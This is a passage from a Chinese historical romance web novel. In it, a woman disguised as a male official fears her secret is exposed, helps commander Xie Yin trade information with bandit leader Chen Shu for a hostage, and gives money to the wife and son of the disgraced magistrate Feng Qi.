“你哪里能预知未来发生什么事?况且,这陈述老奸巨猾,竟然想出了这么个伤敌一千,自损八百的法子,连我都没料到,你自责什么!”
谢寅看着跪在地上,沉沉地低着头的人。
这人哪里都好,就是太爱给自己揽罪名了,太喜欢只从自己身上找原因了。
“还不起来?难不成你在这里跪着,他们就弃暗投明,甘愿投降了?”
谢寅没等薛平说话,硬是呛了他一嘴。
但这样的老好人只能接收到——看来,我还是需要多积累经验。
薛平赶忙起来,“主帅宽厚。”
“你猜猜,他们下一步要做什么?”谢寅问道。
“当下,我方将士连败两场,士气有些低迷,匪寇这次应该会主动进攻。”
薛平站起身,顾不得身上的土。
然而,他自是习惯了粗布麻衣,就算是在地上打滚,他也是毫不在意衣服会如何的。
“不错,沧隅山寨子那的武器都已经尽数被毁,他们已经完全放弃了山寨,就等放手一搏,留给我们的时间不多了。”
谢寅抬眼,看着微弱的烛火,轻叹一声。
“葛根还在他们手上。”
薛平自然明白谢寅的担忧。
有人质在对方手里,关键时刻是要任对方拿捏的。
“罢了,走一步看一步,你去集结军队吧。”
薛平应下,退出帐篷。
--
长青自觉,自己为了这两个人之间的事情操碎了心。
主子没空熬汤药,他便代替主子熬给“心上人”。
主子没空喂汤药,他就虔诚地不带任何歪心思地小心地喂给还在昏睡的人。
哪里能找他这么识相,还揣测主子心意的人啊。
收拾好钥匙和剩下残渣的药碗,长青正准备起身离开。
却瞥见林疏影枕头旁边的衣服。
不是,主子为什么不给林参谋换衣服呢,他二人可是淋了个透啊。
难不成是只想着自己?
不可能,主子平日里虽苛待下属,但人确实大气的很。
长青用手触摸着林疏影露在外面的衣袍。
干的?
脑海里突然浮现,他提出要帮忙背林参谋时,谢寅那冰冷的眼神,长青不禁打了个冷颤。
说不定是两人之间的...
他凑这个这个热闹,难不成觉得自己还不够招主子嫌?
想罢,也没再逗留,只要一想到林参谋和总督的关系,他就有些不自在,毕竟两人的身...
唉
长青出去不久后。
卧榻上的林疏影勉强睁开眼,视线聚焦。
她看着熟悉的一切,有些茫然,她不是被抓起来了?
怎么还在这个屋子里。
好巧不巧,长青只知道林疏影的房间,所以,打扫的就是陈述给林疏影安排的屋子。
脑袋一阵刺痛,林疏影不得不用手按着太阳穴缓解。
疼痛稍微缓解,她勉强撑起身体,靠坐起来。
仔细观察周围的环境,这里确实是她的房间。
她好像是在逃跑的时候被困在陷阱里了,后来,又下了雨。
只记得,她很冷,很冷,然后是...
脑袋一片空白,林疏影不禁打了两下,却是怎么也记不起来了。
迷迷糊糊的,只记得好像是有人抱着她,那个“抱”还湿乎乎的。
想不起来,她也就没再跟自己较劲,思考起来当下的处境。
这个房间,是陈述给她的,而她又恰好在这个房价,难道是又落入了匪寇的贼窝?
思及此,她向外张望,门外并没有守卫。
而且,匪寇现在应该都在后山。
如果是匪寇抓了她,那她现在应该在后山被五花大绑着,当关键的人质,周围肯定有守卫防止她再次逃跑。
所以,是...
不知道为什么,她并不觉得谢寅会来救她,尤其是这么危急的时刻。
她再次捂住脑袋,不断地寻找脑海里的记忆,寻找那个不一样的怀抱,却仍旧一无所获,却无意瞥见了自己的衣服。
不对劲,不对劲。
如果她淋雨了,衣服应该是湿的,还有...束胸的布条也应该。
一身的感觉慢慢恢复过来,她觉得身上有什么东西粘腻在胸口,有些不舒服。
林疏影意识到什么,她匆忙解开半干的衣服,一抹胸前的布条。
果然是湿的。
她又看着身上熟悉的衣服,难不成,是有人帮她烤干了衣服?
那也就是说...有人脱了她的衣服!
那她女儿身的身份...
“嘶”
林疏影为自己“虚弱”的身体头疼极了。
为什么偏偏在这个时候感染了风寒,真是。
算了,当下最紧要的,就是把身上的衣服换下来。
重新穿好衣服,她光着脚走在地板上,去衣柜里寻找白色的布料。
正好,有个白色的衣服。
她拿着衣服回到床边,一下一下地撕开衣服,撕下来一条长长地白色布条。
之后再褪下外面的衣服,解开闷了许久的湿布条。
她长舒一口气。
终于能缓一口气了。
终有一天,她要让女子也能入朝堂,建言献策,革新天下!
到那时候,女子便也可有为天下百姓的远大抱负。
她用剩余的衣服碎片擦去身上的水,便才一圈一圈地用布料围住她地秘密。
林疏影从小就被母亲教养,没有被礼法束缚住,但她也是知道被院子困住的许多女子,她们大多身不由己,及笄后多半嫁给门当户对的人,维持家族之间的关系和家族的兴旺。
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礼法就像无形的锁链,时时刻刻束缚着女子的思想,不容许她们有半点违逆。
也就如同着白色的布条一样,让人窒息,让人恶心。
窒息的感觉再次上来,她有些不适应。
甚至有了脱下一切伪装的冲动。
好累。
可她不能停下脚步,不能停下复仇,不能暴露身份。
报复似地将身上地衣服扯下,却还是没扔到地上。
她将衣服整好,只轻柔地放在床上,正要起身去衣柜里找衣服。
却瞥见枕边的衣服。
拿起来照着自己的身子比划两下,差不多。
虽说是粗布的,但她从不觉得自己有多娇贵,粗布就粗布,那有什么!
她悉悉索索地穿上,惊讶地发现,衣服竟然很合身!
想起上一套合身的衣服还是某人给她准备的。
不过,认错恩人的糗事,林疏影不想再回忆。
真是,给自己蠢笑了。
那这一次,难不成,也是他?
他那日与我一起处在一个帐篷里,相必是偷偷观察过,那应该就是他准备的。
紧接着,林疏影被自己脑海里冒出来的东西吓了一跳。
她想起来了,她全都想起来了!
是谢寅带她回来的。
不光如此,她还“轻薄”了谢寅,还说他是断袖!
天塌了。
林疏影的脸直泛红,她赶紧捂住发烫的脸,她都做了什么,三番两次对这个“救命恩人”...
被一直忌惮,一直戒备,甚至鄙夷过的人救下来。
她的心里有一种说不上来的感觉。
但如果是谢寅救下她的话,那给她烘干衣服的,只能是那人。
所以——
脑袋隐隐作痛,这个人发现我的身份了吗?
先前一切复杂的心思都被警惕取代。
谁是她的救命恩人不要紧,她的身份如果被公之于众,欺君之罪就能要了她的命。
若是再牵扯出这个假的科举身份的事情,那整个林家都得被她牵连。
若谢寅知晓了她的秘密,就是抓住了她的命脉,自己的命运也就任这人摆布了。
虽说,这人冒着大雨救她,还摔下了大坑,但人心瞬息万变。
她不敢,甚至不能轻易相信任何人,尤其是她还不是很了解的谢寅。
直觉告诉她,这人背后藏着一个大秘密。
无论什么时候,只要把自己牢牢抓在手里,不单单依靠别人,才是最牢固的。
林疏影正愣神间,听见细碎的脚声,而后她迅速把那湿漉漉的布条和白色碎片收起来,塞进衣柜里。
“哟,林参谋,您醒了,身体好些了没?”
长青端着饭食进来。
一股子谄媚让林疏影愣了又愣。
她转身,直勾勾地看着说话的人,甚至还上下打量了几圈,衣服虽然换了,但就是她之前见到的长青,但眼前这个还只是之前话少,看起来冷淡的人吗!?
看着林疏影疑惑的表情,长青心领神会(自以为),“你放心,你和总督的秘密,我是不会透露出去的。”
说罢,还给了她一个“相信我”的眼神。
林疏影心里一咯噔。
她和谢寅之间能有什么事情啊!
25. 第 25 章
“咳咳...咳”
伤寒未愈,又受了这样的刺激,她咳嗽起来。
这到底发生了什么。
就在林疏影搜便大脑信息,想着如何应对长青时。
却被一句信誓旦旦的话打断了。
“林参谋,我长青可是板正的男人,那个啥,不是断袖啊。”
他还故意轻读了“断袖”两个字。
林疏影听着,却觉得这个人真是讽刺。
但又说不上来究竟是什么讽刺,不过无伤大雅。
只要她的身份没被人发现就好,说不定,这个“断袖”还能保护她的身份呢。
见林疏影时而摇头,时而点头,没得到这人回应的长青有些站不住了。
“林参谋?”
他可得讨好这人啊,林参谋要能力不比主子差,要宽容比主子强多了。
总之,放着一个好接近的人讨好,总比贴冰块的屁股强!
“啊?”
真是“虚弱”的身体在作妖...
林疏影用手扶着额头,怎么光在脑子里想,就没把话说出来呢?
“你的意思是,你们总督心悦我,是吗?”
谢寅没在场,况且,我昏迷之后应该不会逾矩,这人是又有什么打算了?
难道是要用“断袖”的身份来掩饰沧隅山的真相?
“那可不,你难道不心悦我家主子吗?”
长青被这么一问,有些没头没脑。
“啊...哈哈...”
林疏影陪笑两声。
怎么,这个人这次“利用”我,没通知下属啊?
“不,我不是断袖。”
想来谢寅这人神秘,这次应该又是在密谋什么,说不定与肃清朝堂有关。
如果她直接肯定了,以这个人的性子,定还是要怀疑一番她的意图的。
毕竟,两个人之间的关系,没有人会比这两个当事人清楚。
倒不如,先否认,也好打消他的疑虑,我也能了解这个新计谋的全貌。
林疏影未雨绸缪,长青的心情直接跌落谷底。
什么!
主子是单相思!
闻名京城的风流纨绔,竟然被状元郎残忍拒绝!
不可置信,他家主子可是京城多少女子的梦中情郎啊!
然而,长青转念一想——这就是报应啊
谁让你苛待我们这一帮累死累活给你查案,替你跑腿,结果仍旧在鸡蛋里体哦啊骨头。
思及此,这人的脸上的表情从惊讶飞速变成质疑,再到看笑话的喜悦,极其丰富。
一旁的林疏影面上没表现出来,心里却不禁感叹。
这谢寅身边的都不是普通人呐。
“总督现下在哪,是去应对匪寇了吗?”林疏影问道。
“嗯,在后山,与薛副将一起商议如何应对匪寇。”
长青很快从情绪中脱离出来,正事上,他从不马虎。
林疏影点头,算是回应了。
她看着窗外的黑夜,“是总督将我送到这个房间里的吗?”
“那是,主子对你可上心了,亲自抱你回来的,而且还让我转告您,这之后的事情他来解决,您不用费心了。”
嘲笑归嘲笑,他长青还是知晓事情轻重的。
竟然不让她跟进匪寇的剿灭了,但是他要如何把葛根救出来?
林疏影直接俄把长青的后半句话当成耳旁风,完全不在意。
“那...他何时走的?”林疏影循序渐进。
“自然是安顿好林参谋你后,火急火燎地赶到后山了。若不然,主子就得亲自给你煎药喂药了。”
长青说得轻巧,却又引起林疏影的好一阵子咳嗽。
这可吓坏了长青。
“林参谋,你...可是还不舒服?”
长青本想拍拍这人的背,好顺顺气,但又想到先前谢寅的冰冷的眼神。
手停在半空中,又缩了回去。
“要不,我遣人把张军医请来?”
主子交代过他,以后林参谋的病都由这个张齐清来管。
“无碍,只是心里有些堵。”林疏影连连摆手。
不禁好笑,你这个始作俑者在这里呢。
什么叫亲自煎煮?什么叫亲自喂汤药。
谢寅身份尊贵,哪里屈尊降贵来给他利用的人煎煮汤药呢?
再说,公子哥会熬煮吗,可别熬成“神丹妙药”了。
“张军医在后山吧。”林疏影小心试探。
“士兵们都在后山,本来,主子想让那个老顽固留下来,好随时照看您,结果着老顽固非要回去。”
长青话里没有什么情绪,他知道战场情况危急,张军医的选择他完全理解,也完全尊重。
据长青这两三句话里,林疏影敏锐地捕捉到了张齐清固执但明时势的性格。
于是,她便接着张军医接着往下说。
“后山的士兵都要在战场上厮杀,比我更需要张军医,况且就我自己一个人,怎么能耽误张军医,拖累兄弟们呢。不过,我确实有些不舒服,不如,你带我去后山,我去拜见张军医,这样既不耽误大家伙,也能给我看看病。”
她正想着如何找个恰当的理由去后山,正巧,机会就这么水灵灵地送到嘴边了。
长青是谢寅的人,不会听她的话,定然不可能让她去后山,只先能“以理服人”了。
林疏影这一番话说到了长青的心坎上。
他暗自佩服这人胸襟开阔,竟也把他仅有的对张齐清的一丝不满也都消散了。
“好,我到您去。”
连带着说话的语气都变了。
二人行过黑暗。
“现在是什么时辰啊?”林疏影问道。
“子时。”
竟然到这时候了,林疏影心里盘算着。
她还不知道谢寅那里什么情况,逃出来之前,匪寇还没有集结士兵。
“在救我之前总督与那匪寇交战了吗?”
她被困在坑里好长一段时间。
“倒是有一次,你可是没见,主子三下五除二就刺中刘猛,逼退匪寇。”
第一次打了胜仗。
“然后呢?谢寅为救我怕是耽误了不少事情。”
当时的境地,她是知晓的,匪寇窝居后山,粮食成了最大问题,这些人可能会随时下山袭击,而若是谢寅能抓住机会,便不用花费大量的时间来剿匪。
他也就能早些回京城复命,让士族没有机会在他身边安插眼线。
林疏影清楚自己的位置,她不过是为谢寅做了一次棋子,而与陆大人更是连面都没见过。
她对这些人的价值多大,心里还是有些数的。
本
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以为,自己会成为弃子,结果却截然相反。
“主子早就和薛副将商量好了对策,正好薛副将甚少实战,这次正好磨一磨他的刀。”
长青以为林疏影在愧疚,抓住机会把主子周全的考虑讲明了!
实则,林疏影其人此人是在借机试探。
这个答案让林疏影晃神一阵。
她不知道自己在期待什么,这个答案已经很好了。
“原来如此,当真厉害。”
林疏影敷衍两句,所以谢寅是有把握应对匪寇之后,才去救的她,所有的一切都在他的计划之中。
她又询问了些具体战势,长青以为林疏影对沧隅山嫉恶如仇,什么也没遮拦,全说了。
说话间,二人打了后山山脚。
营帐外的篝火还未熄灭,却空无一人。
远处火光连在一起,厮杀声隐隐约约飘来。
这一刻来了!
林疏影升起一股莫名的不安。
远方的火光在黑夜里颤动似蚂蚁在她心上啃食一般。
她看着周围,正巧对上一匹马儿,没有任何犹豫,翻身上马。
“不是,林参谋你这是...”
就这样,在长青的一系列追问,恳求,劝说下,她一个字都没听清。
潇洒地骑马离去。
葛根还在陈述手上,无论如何,这人是为了掩护她才失去了逃跑的机会。
所以,她要想办法把人安全带回来。
况且,她早已有了对策。
她循着火光,嘶喊声越来越清晰,她心里的那根弦不由自主地紧绷起来。
马儿似乎也感受到了她的紧张,用尽力气跑,一人一马飞似地到了双方交战之地。
在距离两军交战之地还有一段距离时,林疏影勒住马儿。
战场很乱,如果她冒然闯进去,不仅会丧失了自己的性命,还会让谢寅束手束脚。
她便先占了个远处的位置,远远观望,寻找时机。
两军酣战,两方都是卯足了劲,你来我往,难舍难分。
但终究沧隅山匪寇在人数上不占优势,因而战场上,表现出劣势来。
林疏影看着,心里产生出敬佩来。
同样与士族结仇,二人相比,陈述有反抗整个大夏的胆量,这是她所没有的,也是她所敬佩的第一点。
世人都说读书好,但是读书之后,心里便会有无形的枷锁,总受限制。
即便是面临这样的境况,也仍旧不放弃,不逃跑,带着兄弟们与朝廷官兵硬刚,这是她所敬佩的第二点。
然而,沧隅山匪寇有一个致命的缺点,他们的士兵吃不饱。
战争刚开始,尚且可以一鼓作气,振奋士气,但托的时间越就,他们的体力会大量消耗,到时候,便不堪一击,任人拿捏。
她猜,陈述一定会在那些人的体力剩下四五分,尚且还能抵抗官兵的时候,把人质拿出来。
以此来给自己争取突破包围的一线生机。
果不其然,随着时间的推移,匪寇的火把越来越少,越来越小。
紧接着,陈述搬出葛根,喊叫着“谈条件”
战场上,只听见将士们饿狼一般的喘息声,他们早已杀红了眼。
猛然停下,都有些不适应。
林疏影看准了陈述与谢寅的位置,策马而去。
26. 第 26 章
“谢寅!”
林疏影下马,越过挡在两人之间的层层叠叠的人,大声喊道。
映入眼帘的,是陈述带着葛根单刀赴会。
她直接将愣在原地的谢寅拉到一旁。
在大家伙的注视中,在谢寅耳边低语。
将她的对策以及陈述的真实身份全托盘而出。
她将陈家的事情挑挑拣拣,把自己撇得干干净净。
谢寅耳根泛红,他垂眼,看着眼前人无限放大的脸。
他静默地、面无表情地听完。
随后,便微微点头。
这个人知晓陈氏旧案,陈家的小女儿还活着,竟做了当下巴郡林太守的小妾。
师父前几日来信,信中说赵家嫁给林太守的女儿死了。
赵家的宝贝女儿死得离奇,那林太守不过一个只顾保全自己的窝囊废,这么多日过去了,仍旧是杀害发妻未查出凶手。
只能说明,有比林太守权力还大的人操纵了一切。
而林家确实有个小姐,难不成...
谢寅在心里推算着林疏影的真实身份。
而来京城,考中状元也是为了给母亲复仇,大抵又是士族在清理不安分的人了。
不过话说回来,士族现在是腹背受敌啊。
这又多了个陈述,或许可以与陈述商量,若是这人能为朝廷所用,也是陆老头的一大助力。
但是,这样的人,那里能甘愿久居人下?
他冲林疏影点点头,二人回去。
谢寅示意林疏影做到他旁边的位置。
就在这时,长青骑着马终于追上了林疏影。
他大口喘着粗气,一手扶着腰,“林参谋,你要做什么!”
被这一操纵整无语得不能再无语的人扒开人群,冲到谢寅二人身前。
不是,他不是不喜欢我家主子,不是断袖吗,这又是哪一出。
他还以为这人有什么莫大的阴谋呢。
现在看来,是他多虑了,这是两人之间什么特殊的情调吗,这两个人...
被谢寅冰冷的眼神逼迫得不得不松开抓着林疏影的手的长青有苦难言。
怎么这两个人是在那他当猴耍,还是拿他当垫脚石。
不过,长青可是能屈能伸的很,他在眼神中退下后,便直接在一片空地上躺下。
“你是又跟长青耍了什么花招。”谢寅好笑道。
林疏影其人,总能给他很多惊喜。
他更加期待了。
“没有,不过是为了能救出葛根来,糊弄了他一下。”
她白了这人一眼,敷衍道。
林疏影才要头大,始作俑者就在眼前,还问她耍了什么花招,若不是这人逞强,说什么“交给我”,她至于连报信都要用这样的手段吗!
陈述咳嗽一声,算是双方开始了洽谈。
“你们的人质在我手上,作为交换,你要放我们走。”
陈述狮子大开口,但他脸上却摆着一副志在必得的表情。
一时间,让人有些看不清,不知道的,还以为这人在战场上占据了上风。
“哦?怎么陈兄是做惯了匪寇,要直接开始抢了是吗?”
谢寅丝毫不落下风,他直接坐在一根枯木上,将胳膊随意地搭在膝盖上,眼神里尽是鄙夷。
“那把我留在这里,放我的兄弟们走。”
他做出让步,迎上谢寅冷冽的眼神。
“你这条命不值。”
谢寅挑眉,咧着嘴给了个冷笑,让人直打寒颤。
“那你想要如何?”陈述不傻,既然这人同意了谈判,就还是有所图谋的,不仅仅是为了这个葛根。
“你是陈氏旧案里活下来的人吧。”谢寅淡淡一句吐露出来。
周围都是他的人,是不会透露出去的。
陈述瞬间脊背挺直,戒备起来,他缓慢抬眼,再次对上那狂妄少年的眼,也就是这一次,他直觉,这个人不像表面看起来那么简单。
陈氏旧案并不是什么秘密,只要有心了解的人都清楚当年到底发生了什么。
但是,陈家是被灭门的,一直以来陈家旧案的结果都是陈家灭门。
这个人年纪不大,知晓旧案不稀奇,但他从哪里得知我的身份的?
“你在说什么?哦,我想起来了,总督是在说那个被灭门的陈家吧。”
“我还知道,其实陈家有两个人死里逃生,一个是你,另一个...”
谢寅不紧不慢地说出来,他将手交叉在一起,支起下巴,仔细观察着这个人的表情。
“怎么样,这个信息交换葛根,你也不亏吧。”
陈述长吐一口气,闭了闭眼睛,许久,似是下定了某种决心,他缓缓睁开眼。
“好。”
说完,为表示诚意,给身旁五花大绑的人松了绑。
葛根如蒙大赦,他走到林疏影身旁。
二人在沧隅山上的经历足以成为生死之交。
林疏影冲葛根行礼,后山上,这人冒死为她打掩护,这才使得她脱离危险,但这样就让他自己陷入困境。
这样的恩情,她永远会记得。
一旁的谢寅只听着二人的言语,没什么动作,他的眼睛都没有离开陈述,生怕了落下任何一个细节。
“爽快,我便告诉你,你的妹妹还活着,就在...巴郡,做了太守的小妾。”
谢寅故意停顿了一下,他仔细看着这人的表情。
在品味完后,得出一个结论,林疏影说的是真的。
陈述只是问道,“她过得好吗。”
从前妹妹不喜欢院墙里的生活,他本想就算是自己养活妹妹一辈子,也不会让她去与妇人勾心斗角一辈子。
都是杀千刀的士族,他们贪心不足,染指巴郡,要霸占巴郡粮食的三成!
被父亲严词拒绝后,竟然就要灭了他陈家满门,还让妹妹过上了自己最厌恶的生活。
林疏影本以为这个人会“讨价还价”,或者再询问些其他的什么。
这么简简单单的一句话让她有些措不及防。
她看着那个人的脸,久久不能回神。
本以为妹妹早就离世多年,却又知晓了妹妹在远方的消息,为什么陈述这么幸运呢。
若是母亲还活着就好了。
她终究没能开口,将陈姨娘的境况说出来。
本来陈家旧案就鲜少有人知道,林疏影是为了救下葛根,才冒然将这个消息搬出来。
若是再说,难免让谢寅更加怀疑,暴露了身份。
没得到答案的陈述只是用手抹去了眼泪。
“既然,你的敌人是士族,巧了
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,我也厌恶这些人的很,不如,你我二人联合起来,一起对付这些蛀虫,让大夏基业再延续百年。”谢寅道。
陈述听了这一番话,迅速调整好情绪。
怪不得这人与他说这番话,原是在这里等着他呢。
年纪轻轻便有能轻易笼络人心的本事,是个好苗子,但就是不了解大夏真正的模样。
大夏朝的根基早已经被士族蛀空了,就剩下一具在风雨中飘摇的空壳子了。
就算是占尽了天时地利人和,也无力回天。
更何况,皇帝昏聩,奸臣当道,士族敛财,没有天时地利人和。
他叹了一口气,这些年,官兵抢夺百姓粮食,士族搜刮民脂民膏,朝廷赋税不断加重,他都看在眼里。
“我若是答应了,你会放我走?”陈述试探道。
“自然,不过,你只能和你妹妹团聚。”谢寅道。
陈家旧案疑点颇多,明眼人都知道背后始作俑者究竟是谁,但这些年来士族一直死死压着这件事。
但若是,沧隅山匪寇溃败而逃至巴郡,这就有理由彻查巴郡,那士族在巴郡的龌龊事被查出来,便又是肃清巴郡,肃清朝堂的好机会。
“你就不怕,我跑了?”陈述笑道。
“你敢跑,我就敢让林太守把那小妾囚禁起来,你的软肋已经很明显了。”谢寅一字一句地说出来。
“把刘永兰留在我这里吧,他这么好用,你肯定舍不得他。”谢寅补充道。
他没有给陈述拒绝的空间,况且,本就是砧板上的鱼肉,也没有选择“红烧”还是“清蒸”的权力。
陈述神情复杂,他看着林疏影,许久都没有移开眼神。
刚才所有的消息都是这个人带来的。
有些后悔,当时为什么心疼这人的满腹才华,而错失了解决掉这个祸患的机会。
陈述无法选择,只能配谢寅演了这场戏。
不过,就算没有这场戏,他也会想方设法地带着兄弟们回到巴郡。
士族在巴郡的龌龊事,远比庆阳要严重,加上巴郡四周山水环绕,是天然的屏障,巴郡更适合休养生息。
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谢寅连夜带将这场戏演完,便带兵回了庆阳。
长煊也早已经将百姓安置在城门外,带人在城门外一一核验是否为庆阳人士。
刘永兰也早就被压进了庆阳大牢,由谢寅的亲卫守着。
谢寅回庆阳,算得上是风风光光,他带着人马直奔冯府。
马上的少年身上血迹未干,点点血迹在脸上稀稀拉拉地分布着,给那本就俊逸的脸增添了一丝明艳,甲胄不断碰撞发出响声。
天将亮未亮,百姓们被这样的阵仗吸引,不再留恋家,出来凑热闹。
本以为这谢寅是个草包,但现在一看,人家还是有本事的。
“听说这人可是把沧隅山上的草寇剿灭一空啊!”
“不愧是京城重官,如果能给咱们少些赋税就好了。”
“说什么呢,不要命了!”
百姓们丝毫没有被人打扰的生气,倒是你一句,我一句地开始。
庆阳街上人越来越多,谢寅不得不放缓些速度。
冯齐把百姓赶出庆阳的账,该算了。
不少百姓点出来,“这不是去冯府的路吗,总督这是要干什么?”
27. 第 27 章
林疏影本来跟在谢寅身后,听了这么一遭,知晓他要去抄家冯府,便知会身旁的人一声,想打道回府了。
她骑马掠过一个卖糖葫芦的小贩,本来已经跑过,可却还是勒住马。
之前在冯府那条街上,她打翻了一个小孩的糖葫芦来着。
她并没有忘记,只不过是在沧隅山小心谨慎,把这个记忆藏得太深了。
不过,正好,现在还早,等我梳洗一番,别吓着小孩子了。
他好像是叫“冯远志”,远志、远志,这个名字真不错。
足可见,他父母二人对他的期望之高。
不过,那跟糖葫芦一样红的脸蛋很可爱呀。
脑海里浮现出一张稚嫩的脸蛋,林疏影勾起一抹不易察觉的笑。
早知道,就该扭一下!
林疏影回了县衙,收拾好了自己,将身上衣服换下来。
这才想起来一件事。
谢寅究竟知晓她的身份了吗...
她本来想问来着,结果一件事情接着一件,就没找到时间。
从衣柜里拿出衣服,顺便扯了一件白色的里衣,她将胸前的布条退下。
白色的布条,长长地耷拉到地上,透过光影,依稀可以透过布条看到屋内的情景。
林疏影重新裹上,她裹得有些紧,似在刻意证明自己的伪装天衣无缝。
整理好衣服,她将床底下的玉佩与“疏影”拿出来。
剑身依旧锋利,剑柄的流苏在她手中摇曳,疏影剑没有什么变化。
但是,经历过一次生死的林疏影此时握着这把剑的心境大有不同了。
放在以前,握住剑柄,她第一时间想到的是与母亲学过的招式。
而现在,她握住剑柄,第一时间想到的就是与谢寅过招时,那人的决绝与对自己的狠厉。
那个样子让她想到了,只身北上京城时的自己。
因为没有人可以依靠,所以才要强大;因为周围人不可依靠,所以才要将自己拿出来,以身入局。
当下,她二人一致的敌人大概就是士族了。
但林疏影猜不出,一个本身就是士族之一的公子哥,放着荣华富贵不享,却来这里剿匪。
却要与士族作对,站在陆德静一边。
不对!其实这二人在朝堂上并不是一气的。
状元及第后的第一次上朝,二人之间的气氛是很微妙的,甚至是敌对的。
陆大人并未看好谢寅。
所以...
这两人是在暗度陈仓,也就是说,他们的关系是骗过了一众士族的。
朝堂之间,人人追求权力,但变数无时无刻都在发生。
瞬息万变的人心、立场只跟随权力的变化而改动。
想必陆大人鞠躬尽瘁,是为了大夏中兴,肃清朝堂,一扫士族,这是天底下多少个士族的心愿啊。
她抓紧了手中的玉佩,心里暗暗收紧,而她废了这么大的力气,是为了什么?
士族可恨,母亲的死与他们脱不了干系,但是她总觉得少点什么。
母亲定然是想让她遵从自己的意愿的,但是若只是为了一时的仇恨蒙蔽了双眼,岂不是...
是啊,她该为百姓想想了,士族当道,自古以来皆有之,百姓多艰难,不止她自己的母亲被士族害死,还有千千万万的百姓的母亲被害死。
解决她自己一个人的仇恨简单,只需让那畜生杀人偿命即可,但解决天下人的苦难难,要重整朝廷,好一番作为。
眼下,这大抵是陆大人和谢寅要走的路。
她原先以为,人总是要为了自己的,但现在她似乎有些明白了。
有些东西分享来比自己独享要宝贵得多。
林疏影一点一点披上衣服,暖和的春日来了。
她昨日将陈氏的事情尽数吐露了干净,谢寅必定会怀疑她的身份。
与其坐以待毙,不如,主动告诉他们,说不定还能为自己谋多点利益。
她的身份和陈氏的仇怨,也该告知陆大人了。
下定了决心,林疏影整理衣服,想着昨日赶到,谢寅陈述二人谈判的情景。
其实陈述答不答应,归不归降不重要,谢寅似乎只是要能顺理成章地进入巴郡。
难不成!
林疏影一拍桌子。
难不成,谢寅也想要查陈氏旧案?
那昨日自己为了救下葛根,暴露陈姨娘的身份,恰巧顺了谢寅的意!
她看着透过窗纸的光束,收回思绪。
不着急,暗中观察一阵便知,这人到底意欲何为。
先去赴约吧,不知道那个小孩儿忘了我没。
她收拾好,出了门。
庆阳县里,大部分人都出来了。
街道上干净的很,没有一丝洪灾侵害的痕迹。
以前稀稀拉拉的街道慢慢地有了人,有了叫卖声,许多铺子开了张,一片向好。
林疏影不禁感叹,换了冯齐那只吃不做的人,真是做对了。
“听说了吗,运河修好了!”糖葫芦摊主老于头张着头,向一边望去。
“害,还不都是写总督,要不是他,哪里来的活计养活我这一大家子呢。”糖葫芦摊位前的老五回着。
这里的人完全没了先前的颓败。
林疏影看着四周,有些意外。
若是只凭借一个县官,作用或许没有这么大,若是换成谢寅,她倒是信了。
怪不得,这人应该是直接用了城里的流民,这样修整运河、流民问题,一起解决了!
她收回目光。
“老板,给我拿一个。”林疏影垂下眼,细数手里的铜钱。
“哟,南方的大船还没来呢,哪里来这么俊俏的郎君。”老于头没见过这么清雅的读书人,眼里全是仰慕。
“哪里,我就是北边来的,比不上江南的俊秀,不过,这运河快通了吗?”
林疏影没一点架子,她说话的语气与当地人一模一样。
这也算她北上为数不多的收获了。
“哈哈,什么啊,原来是老乡!快了,快了,我们几个兄弟干活又好又快,就是谢总督来了,都得夸!”
老五哈哈大笑,不等林疏影接话,便匆忙离去。
要开始修了。
林疏影拿着手里的糖葫芦。
火红的颜色让人有些迷离,随后,便又一股脑地拿出铜钱来。
又买了一个。
告别摊主,林疏影寻着前些日子走过的路。
她四处张望,街道上从稀稀拉拉的人,一下子多了很多,人们匆匆忙忙。
也许都不理会两只手都拿着糖葫芦的人。
林疏影左等右等,还是等不到,她看着日头往南边移,有些累了。
也有些饿了,便不管别的什么了,嘴里啃上一个糖葫芦。
虽处在同一条街上,林疏影可谓是“岁月静好”。
而不远处的冯府可“热闹非凡”了。<
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p>恰好,百姓都忙着农田,新上任的县令可是亲自下地为他们指导。
本以为地就这么没了,没想到,真是没想到。
没有人会错过这个。
故而人声只是“修饰”了一下冯府传来的响声。
这声音直逼林疏影的耳朵,她猛然收回神。
见周围还是没有远志小巧的身影,有些遗憾。
不远处,冯府门口聚集了不少人,都是来唾弃冯齐的。
吵嚷的声音再次吸引了林疏影。
她绕过墙根,走过去,冯齐确实可恨。
要不是百姓们手头没什么东西,若是没这洪灾,冯齐倒台的时候,他们可得狠狠泄愤呐。
什么臭鸡蛋、烂菜叶不都得招呼上。
林疏影本就想凑个热闹。
原本就是个热闹。
直到,她看到冯府里面出来的家眷。
女人们最多,个个涂脂抹粉,面容姣好,一看便知,这些都是姨娘们。
在这些女人后面,雍容的夫人面上梳妆一点不马虎,头上的步摇随着步子摇晃,绸缎锦衣,一看就是精心打扮一番的。
她有条不紊地走着,优雅极了,同时,手里还牵着一个孩童。
跟个小团子似的孩子,是个男孩还屁颠颠地学着母亲的走路姿势。
只远远地看一眼,便知道,是个小可爱。
但偏偏是从冯府走出来的。
林疏影看着一只手里完好的糖葫芦,再看看眼前的小孩。
冯齐倒了,庆阳士族党羽已经清除,本该是皆大欢喜的事。
“远志”竟然是冯齐的孩子么。
她心里一阵子疼痛,不禁皱起眉,要连累到这么小的孩子。
是啊,冯齐所作所为,虽是士族暗中授权,但他是明面上的,出了事,是他要背锅的。
林疏影自然清楚条文法令的要求,但还是为这一对母子忧心。
随后,母子二人身后的,就是那一身甲胄的谢寅。
一切都太匆忙,鱼鳞片上还沾着血。
谢寅对上含着泪的眼神有些发怔。
这人不是要回县衙?怎么还来这里了。
而林疏影则是直接别过脸去。
她不顾周围人的言语,不顾冯府外士兵的阻拦,上前,挡住母子二人的路。
“夫人,一路保重。”
她搜刮了身上所有的银子、铜板,一个不落地塞到这人手里。
最后才把糖葫芦给了冯远志。
冯夫人面上本来一派高雅,没想到跑来这么一个人。
墙倒众人推,何况,自己的丈夫是什么样的人,她能不知道吗?
反正她也厌倦了与这些女人斗来斗去的日子。
也算是解脱。
但是,这些铜板、碎银,竟然比谩骂和烂菜叶更早地降临。
她紧紧握住了曾经瞧不上的“三瓜俩枣”。
这时候,就是雪中送炭啊。
她行了最大的礼,虽未说一字一句,但眼神里满是感激。
冯远志也学模学样,也跪下,磕了个头。
林疏影一时间不知道该搀扶谁。
送走了这些人。
林疏影在冯府里,背着南边的阳光,看着撒了一身光的谢寅。
她很想问,为什么“律令就不能宽容些?”、“为什么就不能放过这对可怜的母子?”、“为什么...”
好多个问题梗在心间,她最终没张开口。
28. 第 28 章
